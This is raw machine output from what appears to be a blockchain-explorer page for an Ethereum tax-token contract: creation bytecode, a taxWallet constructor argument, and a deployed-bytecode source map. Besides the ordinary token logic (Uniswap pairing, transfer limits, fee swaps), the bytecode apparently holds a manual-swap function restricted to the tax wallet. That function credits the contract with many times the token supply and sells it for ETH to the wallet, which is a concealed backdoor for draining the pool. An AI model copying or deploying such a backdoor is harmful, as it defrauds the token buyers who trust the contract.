61199c602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611268565b610b29565b5060019392505050565b60075461010090046001600160a01b0316336001600160a01b031614610521575f80fd5b61055c6105306009600a611849565b61053b906001611857565b610547906103e8611857565b305f90815260016020526040902054906112a0565b305f908152600160205260409020819055801561057c5761057c81611305565b47801561058c5761058c81611475565b5050565b5f546001600160a01b031633146105b95760405162461bcd60e51b815260040161045b90611720565b6105c681620f4240611857565b60085550565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161045b90611720565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106665760405162461bcd60e51b815260040161045b90611720565b6106726009600a611849565b61067d906001611857565b60085561068c6009600a611849565b610697906001611857565b60099081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf906106c990600a611849565b6106d4906001611857565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107105760405162461bcd60e51b815260040161045b90611720565b600c8190556005811115610476575f80fd5b5f610428338484610c4c565b5f546001600160a01b031633146107575760405162461bcd60e51b815260040161045b90611720565b600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b5f546001600160a01b031633146107a85760405162461bcd60e51b815260040161045b90611720565b600f54600160a01b900460ff16156108025760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084890309061083d6009600a611849565b6104ee906001611857565b600e5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610898573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bc919061186e565b6001600160a01b031663c9c6539630600e5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093f919061186e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610989573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ad919061186e565b600f80546001600160a01b039283166001600160a01b0319909116179055600e541663f305d71947306109f4816001600160a01b03165f9081526001602052604090205490565b5f80610a075f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a6d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a929190611889565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610ae7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0b91906118b4565b50600f805462ff00ff60a01b19166201000160a01b17905543600d55565b6001600160a01b038316610b8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045b565b6001600160a01b038216610bec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045b565b6001600160a01b038216610d125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045b565b5f8111610d735760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045b565b5f80546001600160a01b03858116911614801590610d9e57505f546001600160a01b03848116911614155b1561112b5760075460ff1615610ec357600e546001600160a01b03848116911614801590610dda5750600f546001600160a01b03848116911614155b15610ec357325f908152600460205260409020544311610e745760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161045b565b325f9081526006602052604090205460ff16610e9c57325f9081526005602052604090204390555b325f908152600660209081526040808320805460ff19166001179055600490915290204390555b600f546001600160a01b038581169116148015610ee857506001600160a01b03831632145b15610f1057610f0d6064610f07600b54856114b090919063ffffffff16565b9061152e565b90505b600f546001600160a01b038581169116148015610f3b5750600e546001600160a01b03848116911614155b8015610f5f57506001600160a01b0383165f9081526003602052604090205460ff16155b1561103057600854821115610fb65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045b565b60095482610fd8856001600160a01b03165f9081526001602052604090205490565b610fe291906118d3565b11156110305760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045b565b600f546001600160a01b03848116911614801561105657506001600160a01b0384163014155b1561109e576110756064610f07600c54856114b090919063ffffffff16565b325f9081526005602052604090205490915043906110949060016118d3565b101561109e575f80fd5b600f54600160a81b900460ff161580156110c55750600f546001600160a01b038481169116145b80156110da5750600f54600160b01b900460ff165b1561112b576111196111148361110f611107306001600160a01b03165f9081526001602052604090205490565b600a5461156f565b61156f565b611305565b4780156111295761112947611475565b505b80156111a357305f9081526001602052604090205461114a90826112a0565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061119a9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111c59083611583565b6001600160a01b0385165f908152600160205260409020556112086111ea8383611583565b6001600160a01b0385165f90815260016020526040902054906112a0565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112518585611583565b60405190815260200160405180910390a350505050565b5f818484111561128b5760405162461bcd60e51b815260040161045b91906115f0565b505f61129784866118e6565b95945050505050565b5f806112ac83856118d3565b9050838110156112fe5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045b565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061134b5761134b6118f9565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113c6919061186e565b816001815181106113d9576113d96118f9565b6001600160a01b039283166020918202929092010152600e546113ff9130911684610b29565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114379085905f9086903090429060040161190d565b5f604051808303815f87803b15801561144e575f80fd5b505af1158015611460573d5f803e3d5ffd5b5050600f805460ff60a81b1916905550505050565b6007546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561058c573d5f803e3d5ffd5b5f825f036114bf57505f61042c565b5f6114ca8385611857565b9050826114d7858361197c565b146112fe5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045b565b5f6112fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115c4565b5f81831161157d57826112fe565b50919050565b5f6112fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611268565b5f81836115e45760405162461bcd60e51b815260040161045b91906115f0565b505f611297848661197c565b5f6020808352835180828501525f5b8181101561161b578581018301518582016040015282016115ff565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610476575f80fd5b5f8060408385031215611660575f80fd5b823561166b8161163b565b946020939093013593505050565b5f60208284031215611689575f80fd5b5035919050565b5f805f606084860312156116a2575f80fd5b83356116ad8161163b565b925060208401356116bd8161163b565b929592945050506040919091013590565b5f602082840312156116de575f80fd5b81356112fe8161163b565b5f80604083850312156116fa575f80fd5b82356117058161163b565b915060208301356117158161163b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117a357815f190482111561178957611789611755565b8085161561179657918102915b93841c939080029061176e565b509250929050565b5f826117b95750600161042c565b816117c557505f61042c565b81600181146117db57600281146117e557611801565b600191505061042c565b60ff8411156117f6576117f6611755565b50506001821b61042c565b5060208310610133831016604e8410600b8410161715611824575081810a61042c565b61182e8383611769565b805f190482111561184157611841611755565b029392505050565b5f6112fe60ff8416836117ab565b808202811582820484141761042c5761042c611755565b5f6020828403121561187e575f80fd5b81516112fe8161163b565b5f805f6060848603121561189b575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118c4575f80fd5b815180151581146112fe575f80fd5b8082018082111561042c5761042c611755565b8181038181111561042c5761042c611755565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561195b5784516001600160a01b031683529383019391830191600101611936565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261199657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0420c0f56248eac0277e8f29d52b99e21fdf7b7b3875eac7bbbd457c7356bf864736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000049b26127e9d010c83fffc748b7069b4a85b5aef9

-----Decoded View---------------
Arg [0] : taxWallet (address): 0x49b26127e9D010C83fFFC748B7069B4A85B5aEF9

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000049b26127e9d010c83fffc748b7069b4a85b5aef9


Deployed Bytecode Sourcemap

4054:8555:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5726:83;;;;;;;;;;-1:-1:-1;5796:5:0;;;;;;;;;;;;-1:-1:-1;;;5796:5:0;;;;5726:83;;;;;;;:::i;:::-;;;;;;;;6632:193;;;;;;;;;;-1:-1:-1;6632:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6632:193:0;1023:187:1;4617:32:0;;;;;;;;;;-1:-1:-1;4617:32:0;;;;;;;;11835:128;;;;;;;;;;-1:-1:-1;11835:128:0;;;;;:::i;:::-;;:::i;:::-;;4895:38;;;;;;;;;;;;;;;;;;;1546:25:1;;;1534:2;1519:18;4895:38:0;1400:177:1;6003:95:0;;;;;;;;;;;;;:::i;6833:446::-;;;;;;;;;;-1:-1:-1;6833:446:0;;;;;:::i;:::-;;:::i;5912:83::-;;;;;;;;;;-1:-1:-1;5912:83:0;;4734:1;2185:36:1;;2173:2;2158:18;5912:83:0;2043:184:1;12156:450:0;;;;;;;;;;;;;:::i;11715:110::-;;;;;;;;;;-1:-1:-1;11715:110:0;;;;;:::i;:::-;;:::i;6106:119::-;;;;;;;;;;-1:-1:-1;6106:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6199:18:0;6172:7;6199:18;;;:9;:18;;;;;;;6106:119;2994:148;;;;;;;;;;;;;:::i;10066:162::-;;;;;;;;;;;;;:::i;4801:39::-;;;;;;;;;;;;;;;;2780:79;;;;;;;;;;-1:-1:-1;2818:7:0;2845:6;2780:79;;-1:-1:-1;;;;;2845:6:0;;;2630:51:1;;2618:2;2603:18;2780:79:0;2484:203:1;4847:41:0;;;;;;;;;;;;;;;;5817:87;;;;;;;;;;-1:-1:-1;5889:7:0;;;;;;;;;;;;-1:-1:-1;;;5889:7:0;;;;5817:87;;11971:136;;;;;;;;;;-1:-1:-1;11971:136:0;;;;;:::i;:::-;;:::i;6233:199::-;;;;;;;;;;-1:-1:-1;6233:199:0;;;;;:::i;:::-;;:::i;11591:116::-;;;;;;;;;;-1:-1:-1;11591:116:0;;;;;:::i;:::-;;:::i;10871:712::-;;;;;;;;;;;;;:::i;6440:184::-;;;;;;;;;;-1:-1:-1;6440:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6589:18:0;;;6557:7;6589:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6440:184;6632:193;6734:4;6756:39;400:10;6779:7;6788:6;6756:8;:39::i;:::-;-1:-1:-1;6813:4:0;6632:193;;;;;:::o;11835:128::-;2907:6;;-1:-1:-1;;;;;2907:6:0;400:10;2907:22;2899:67;;;;-1:-1:-1;;;2899:67:0;;;;;;;:::i;:::-;;;;;;;;;11903:6:::1;:18:::0;;;11953:1:::1;11940:14:::0;::::1;;11932:23;;;::::0;::::1;;11835:128:::0;:::o;6003:95::-;6056:7;4781:13;4734:1;4781:2;:13;:::i;:::-;4777:17;;:1;:17;:::i;:::-;6076:14;;6003:95;:::o;6833:446::-;6965:4;6982:36;6992:6;7000:9;7011:6;6982:9;:36::i;:::-;7029:220;7052:6;400:10;7100:138;7156:6;7100:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7100:19:0;;;;;;:11;:19;;;;;;;;400:10;7100:33;;;;;;;;;;:37;:138::i;:::-;7029:8;:220::i;:::-;-1:-1:-1;7267:4:0;6833:446;;;;;:::o;12156:450::-;12222:10;;;;;-1:-1:-1;;;;;12222:10:0;400;-1:-1:-1;;;;;12206:26:0;;12198:35;;;;;;12271:42;4781:13;4734:1;4781:2;:13;:::i;:::-;4777:17;;:1;:17;:::i;:::-;12300:12;;12308:4;12300:12;:::i;:::-;12289:4;12271:24;;;;:9;:24;;;;;;;:28;:42::i;:::-;12262:4;12244:24;;;;:9;:24;;;;;:69;;;12386:16;;12382:79;;12419:30;12436:12;12419:16;:30::i;:::-;12492:21;12528:14;;12524:75;;12559:28;12576:10;12559:16;:28::i;:::-;12187:419;;12156:450::o;11715:110::-;2907:6;;-1:-1:-1;;;;;2907:6:0;400:10;2907:22;2899:67;;;;-1:-1:-1;;;2899:67:0;;;;;;;:::i;:::-;11801:16:::1;:8:::0;11812:5:::1;11801:16;:::i;:::-;11786:12;:31:::0;-1:-1:-1;11715:110:0:o;2994:148::-;2907:6;;-1:-1:-1;;;;;2907:6:0;400:10;2907:22;2899:67;;;;-1:-1:-1;;;2899:67:0;;;;;;;:::i;:::-;3101:1:::1;3085:6:::0;;3064:40:::1;::::0;-1:-1:-1;;;;;3085:6:0;;::::1;::::0;3064:40:::1;::::0;3101:1;;3064:40:::1;3132:1;3115:19:::0;;-1:-1:-1;;;;;;3115:19:0::1;::::0;;2994:148::o;10066:162::-;2907:6;;-1:-1:-1;;;;;2907:6:0;400:10;2907:22;2899:67;;;;-1:-1:-1;;;2899:67:0;;;;;;;:::i;:::-;4781:13:::1;4734:1;4781:2;:13;:::i;:::-;4777:17;::::0;:1:::1;:17;:::i;:::-;10120:12;:22:::0;4781:13:::1;4734:1;4781:2;:13;:::i;:::-;4777:17;::::0;:1:::1;:17;:::i;:::-;10153:14;:24:::0;;;10193:27:::1;::::0;4781:13:::1;::::0;:2:::1;:13;:::i;:::-;4777:17;::::0;:1:::1;:17;:::i;:::-;10193:27;::::0;1546:25:1;;;1534:2;1519:18;10193:27:0::1;;;;;;;10066:162::o:0;11971:136::-;2907:6;;-1:-1:-1;;;;;2907:6:0;400:10;2907:22;2899:67;;;;-1:-1:-1;;;2899:67:0;;;;;;;:::i;:::-;12044:7:::1;:20:::0;;;12097:1:::1;12083:15:::0;::::1;;12075:24;;;::::0;::::1;6233:199:::0;6338:4;6360:42;400:10;6384:9;6395:6;6360:9;:42::i;11591:116::-;2907:6;;-1:-1:-1;;;;;2907:6:0;400:10;2907:22;2899:67;;;;-1:-1:-1;;;2899:67:0;;;;;;;:::i;:::-;11677:10:::1;:22:::0;;-1:-1:-1;;;;;11677:22:0;;::::1;;;-1:-1:-1::0;;;;;;11677:22:0;;::::1;::::0;;;::::1;::::0;;11591:116::o;10871:712::-;2907:6;;-1:-1:-1;;;;;2907:6:0;400:10;2907:22;2899:67;;;;-1:-1:-1;;;2899:67:0;;;;;;;:::i;:::-;10933:11:::1;::::0;-1:-1:-1;;;10933:11:0;::::1;;;10932:12;10924:48;;;::::0;-1:-1:-1;;;10924:48:0;;5596:2:1;10924:48:0::1;::::0;::::1;5578:21:1::0;5635:2;5615:18;;;5608:30;5674:25;5654:18;;;5647:53;5717:18;;10924:48:0::1;5394:347:1::0;10924:48:0::1;10983:15;:80:::0;;-1:-1:-1;;;;;;10983:80:0::1;11020:42;10983:80:::0;;::::1;::::0;;;11074:58:::1;::::0;11091:4:::1;::::0;4781:13:::1;4734:1;4781:2;:13;:::i;:::-;4777:17;::::0;:1:::1;:17;:::i;11074:58::-;11177:15;;;;;;;;;-1:-1:-1::0;;;;;11177:15:0::1;-1:-1:-1::0;;;;;11177:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11159:55:0::1;;11223:4;11229:15;;;;;;;;;-1:-1:-1::0;;;;;11229:15:0::1;-1:-1:-1::0;;;;;11229:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11159:93;::::0;-1:-1:-1;;;;;;11159:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6232:15:1;;;11159:93:0::1;::::0;::::1;6214:34:1::0;6284:15;;6264:18;;;6257:43;6149:18;;11159:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11143:13;:109:::0;;-1:-1:-1;;;;;11143:109:0;;::::1;-1:-1:-1::0;;;;;;11143:109:0;;::::1;;::::0;;11263:15:::1;::::0;::::1;:31;11302:21;11333:4;11340:24;11333:4:::0;-1:-1:-1;;;;;6199:18:0;6172:7;6199:18;;;:9;:18;;;;;;;6106:119;11340:24:::1;11366:1;11369::::0;11372:7:::1;2818::::0;2845:6;-1:-1:-1;;;;;2845:6:0;;2780:79;11372:7:::1;11263:133;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11263:133:0;;;-1:-1:-1;;;;;6670:15:1;;;11263:133:0::1;::::0;::::1;6652:34:1::0;6702:18;;;6695:34;;;;6745:18;;;6738:34;;;;6788:18;;;6781:34;6852:15;;;6831:19;;;6824:44;11380:15:0::1;6884:19:1::0;;;6877:35;6586:19;;11263:133:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11414:13:0::1;::::0;11445:15:::1;::::0;11407:74:::1;::::0;-1:-1:-1;;;11407:74:0;;-1:-1:-1;;;;;11445:15:0;;::::1;11407:74;::::0;::::1;7408:51:1::0;-1:-1:-1;;7475:18:1;;;7468:34;11414:13:0;::::1;::::0;-1:-1:-1;11407:29:0::1;::::0;7381:18:1;;11407:74:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11492:11:0::1;:18:::0;;-1:-1:-1;;;;11521:18:0;-1:-1:-1;;;11521:18:0;;;11563:12:::1;11550:10;:25:::0;10871:712::o;7287:369::-;-1:-1:-1;;;;;7414:19:0;;7406:68;;;;-1:-1:-1;;;7406:68:0;;7997:2:1;7406:68:0;;;7979:21:1;8036:2;8016:18;;;8009:30;8075:34;8055:18;;;8048:62;-1:-1:-1;;;8126:18:1;;;8119:34;8170:19;;7406:68:0;7795:400:1;7406:68:0;-1:-1:-1;;;;;7493:21:0;;7485:68;;;;-1:-1:-1;;;7485:68:0;;8402:2:1;7485:68:0;;;8384:21:1;8441:2;8421:18;;;8414:30;8480:34;8460:18;;;8453:62;-1:-1:-1;;;8531:18:1;;;8524:32;8573:19;;7485:68:0;8200:398:1;7485:68:0;-1:-1:-1;;;;;7564:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7616:32;;1546:25:1;;;7616:32:0;;1519:18:1;7616:32:0;;;;;;;7287:369;;;:::o;7664:2394::-;-1:-1:-1;;;;;7786:18:0;;7778:68;;;;-1:-1:-1;;;7778:68:0;;8805:2:1;7778:68:0;;;8787:21:1;8844:2;8824:18;;;8817:30;8883:34;8863:18;;;8856:62;-1:-1:-1;;;8934:18:1;;;8927:35;8979:19;;7778:68:0;8603:401:1;7778:68:0;-1:-1:-1;;;;;7865:16:0;;7857:64;;;;-1:-1:-1;;;7857:64:0;;9211:2:1;7857:64:0;;;9193:21:1;9250:2;9230:18;;;9223:30;9289:34;9269:18;;;9262:62;-1:-1:-1;;;9340:18:1;;;9333:33;9383:19;;7857:64:0;9009:399:1;7857:64:0;7949:1;7940:6;:10;7932:64;;;;-1:-1:-1;;;7932:64:0;;9615:2:1;7932:64:0;;;9597:21:1;9654:2;9634:18;;;9627:30;9693:34;9673:18;;;9666:62;-1:-1:-1;;;9744:18:1;;;9737:39;9793:19;;7932:64:0;9413:405:1;7932:64:0;8007:14;2845:6;;-1:-1:-1;;;;;8040:15:0;;;2845:6;;8040:15;;;;:32;;-1:-1:-1;2818:7:0;2845:6;-1:-1:-1;;;;;8059:13:0;;;2845:6;;8059:13;;8040:32;8036:1666;;;8095:13;;;;8091:575;;;8147:15;;-1:-1:-1;;;;;8133:30:0;;;8147:15;;8133:30;;;;:62;;-1:-1:-1;8181:13:0;;-1:-1:-1;;;;;8167:28:0;;;8181:13;;8167:28;;8133:62;8129:522;;;8257:9;8228:39;;;;:28;:39;;;;;;8270:12;-1:-1:-1;8220:140:0;;;;-1:-1:-1;;;8220:140:0;;10025:2:1;8220:140:0;;;10007:21:1;10064:2;10044:18;;;10037:30;10103:34;10083:18;;;10076:62;10174:34;10154:18;;;10147:62;-1:-1:-1;;;10225:19:1;;;10218:40;10275:19;;8220:140:0;9823:477:1;8220:140:0;8397:9;8387:20;;;;:9;:20;;;;;;;;8383:120;;8452:9;8437:25;;;;:14;:25;;;;;8465:12;8437:40;;8383:120;8537:9;8527:20;;;;:9;:20;;;;;;;;:27;;-1:-1:-1;;8527:27:0;8550:4;8527:27;;;8577:28;:39;;;;;8619:12;8577:54;;8129:522;8694:13;;-1:-1:-1;;;;;8686:21:0;;;8694:13;;8686:21;:40;;;;-1:-1:-1;;;;;;8711:15:0;;8717:9;8711:15;8686:40;8682:117;;;8756:27;8779:3;8756:18;8767:6;;8756;:10;;:18;;;;:::i;:::-;:22;;:27::i;:::-;8747:36;;8682:117;8835:13;;-1:-1:-1;;;;;8819:30:0;;;8835:13;;8819:30;:64;;;;-1:-1:-1;8867:15:0;;-1:-1:-1;;;;;8853:30:0;;;8867:15;;8853:30;;8819:64;:92;;;;-1:-1:-1;;;;;;8889:22:0;;;;;;:18;:22;;;;;;;;8887:24;8819:92;8815:291;;;8950:12;;8940:6;:22;;8932:60;;;;-1:-1:-1;;;8932:60:0;;10507:2:1;8932:60:0;;;10489:21:1;10546:2;10526:18;;;10519:30;10585:27;10565:18;;;10558:55;10630:18;;8932:60:0;10305:349:1;8932:60:0;9045:14;;9035:6;9019:13;9029:2;-1:-1:-1;;;;;6199:18:0;6172:7;6199:18;;;:9;:18;;;;;;;6106:119;9019:13;:22;;;;:::i;:::-;:40;;9011:79;;;;-1:-1:-1;;;9011:79:0;;10991:2:1;9011:79:0;;;10973:21:1;11030:2;11010:18;;;11003:30;11069:28;11049:18;;;11042:56;11115:18;;9011:79:0;10789:350:1;9011:79:0;9132:13;;-1:-1:-1;;;;;9126:19:0;;;9132:13;;9126:19;:44;;;;-1:-1:-1;;;;;;9149:21:0;;9165:4;9149:21;;9126:44;9122:195;;;9200:28;9224:3;9200:19;9211:7;;9200:6;:10;;:19;;;;:::i;:28::-;9270:9;9255:25;;;;:14;:25;;;;;;9191:37;;-1:-1:-1;9288:12:0;;9255:29;;9283:1;9255:29;:::i;:::-;:45;;9247:54;;;;;;9340:6;;-1:-1:-1;;;9340:6:0;;;;9339:7;:30;;;;-1:-1:-1;9356:13:0;;-1:-1:-1;;;;;9350:19:0;;;9356:13;;9350:19;9339:30;:45;;;;-1:-1:-1;9373:11:0;;-1:-1:-1;;;9373:11:0;;;;9339:45;9335:356;;;9405:73;9422:55;9426:6;9434:42;9438:24;9456:4;-1:-1:-1;;;;;6199:18:0;6172:7;6199:18;;;:9;:18;;;;;;;6106:119;9438:24;9464:11;;9434:3;:42::i;:::-;9422:3;:55::i;:::-;9405:16;:73::i;:::-;9526:21;9570:22;;9566:110;;9617:39;9634:21;9617:16;:39::i;:::-;9386:305;9335:356;9718:10;;9714:163;;9790:4;9772:24;;;;:9;:24;;;;;;:36;;9801:6;9772:28;:36::i;:::-;9763:4;9745:24;;;;:9;:24;;;;;;;:63;;;;9828:37;;-1:-1:-1;;;;;9828:37:0;;;;;;;9858:6;1546:25:1;;1534:2;1519:18;;1400:177;9828:37:0;;;;;;;;9714:163;-1:-1:-1;;;;;9905:15:0;;;;;;:9;:15;;;;;;:27;;9925:6;9905:19;:27::i;:::-;-1:-1:-1;;;;;9887:15:0;;;;;;:9;:15;;;;;:45;9959:37;9977:18;:6;9988;9977:10;:18::i;:::-;-1:-1:-1;;;;;9959:13:0;;;;;;:9;:13;;;;;;;:17;:37::i;:::-;-1:-1:-1;;;;;9943:13:0;;;;;;;:9;:13;;;;;:53;;;;10012:38;;;10031:18;:6;10042;10031:10;:18::i;:::-;10012:38;;1546:25:1;;;1534:2;1519:18;10012:38:0;;;;;;;7767:2291;7664:2394;;;:::o;1582:224::-;1702:7;1738:12;1730:6;;;;1722:29;;;;-1:-1:-1;;;1722:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1762:9:0;1774:5;1778:1;1774;:5;:::i;:::-;1762:17;1582:224;-1:-1:-1;;;;;1582:224:0:o;1251:179::-;1309:7;;1341:5;1345:1;1341;:5;:::i;:::-;1329:17;;1370:1;1365;:6;;1357:46;;;;-1:-1:-1;;;1357:46:0;;11479:2:1;1357:46:0;;;11461:21:1;11518:2;11498:18;;;11491:30;11557:29;11537:18;;;11530:57;11604:18;;1357:46:0;11277:351:1;1357:46:0;1421:1;1251:179;-1:-1:-1;;;1251:179:0:o;10235:403::-;5322:6;:13;;-1:-1:-1;;;;5322:13:0;-1:-1:-1;;;5322:13:0;;;10337:16:::1;::::0;;10351:1:::1;10337:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10337:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10337:16:0::1;10313:40;;10382:4;10364;10369:1;10364:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10364:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10408:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10408:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10364:7;;10408:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10398:4;10403:1;10398:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10398:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10473:15:::1;::::0;10441:62:::1;::::0;10458:4:::1;::::0;10473:15:::1;10491:11:::0;10441:8:::1;:62::i;:::-;10514:15;::::0;:116:::1;::::0;-1:-1:-1;;;10514:116:0;;-1:-1:-1;;;;;10514:15:0;;::::1;::::0;:66:::1;::::0;:116:::1;::::0;10581:11;;10514:15:::1;::::0;10595:4;;10608::::1;::::0;10614:15:::1;::::0;10514:116:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5358:6:0;:14;;-1:-1:-1;;;;5358:14:0;;;-1:-1:-1;;;;10235:403:0:o;10646:96::-;10707:10;;:27;;:10;;;;-1:-1:-1;;;;;10707:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;1814:246;1872:7;1896:1;1901;1896:6;1892:47;;-1:-1:-1;1926:1:0;1919:8;;1892:47;1949:9;1961:5;1965:1;1961;:5;:::i;:::-;1949:17;-1:-1:-1;1994:1:0;1985:5;1989:1;1949:17;1985:5;:::i;:::-;:10;1977:56;;;;-1:-1:-1;;;1977:56:0;;13306:2:1;1977:56:0;;;13288:21:1;13345:2;13325:18;;;13318:30;13384:34;13364:18;;;13357:62;-1:-1:-1;;;13435:18:1;;;13428:31;13476:19;;1977:56:0;13104:397:1;2068:132:0;2126:7;2153:39;2157:1;2160;2153:39;;;;;;;;;;;;;;;;;:3;:39::i;10750:107::-;10807:7;10839:1;10835;:5;10834:15;;10848:1;10834:15;;;-1:-1:-1;10844:1:0;10750:107;-1:-1:-1;10750:107:0:o;1438:136::-;1496:7;1523:43;1527:1;1530;1523:43;;;;;;;;;;;;;;;;;:3;:43::i;2208:223::-;2328:7;2363:12;2356:5;2348:28;;;;-1:-1:-1;;;2348:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2387:9:0;2399:5;2403:1;2399;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;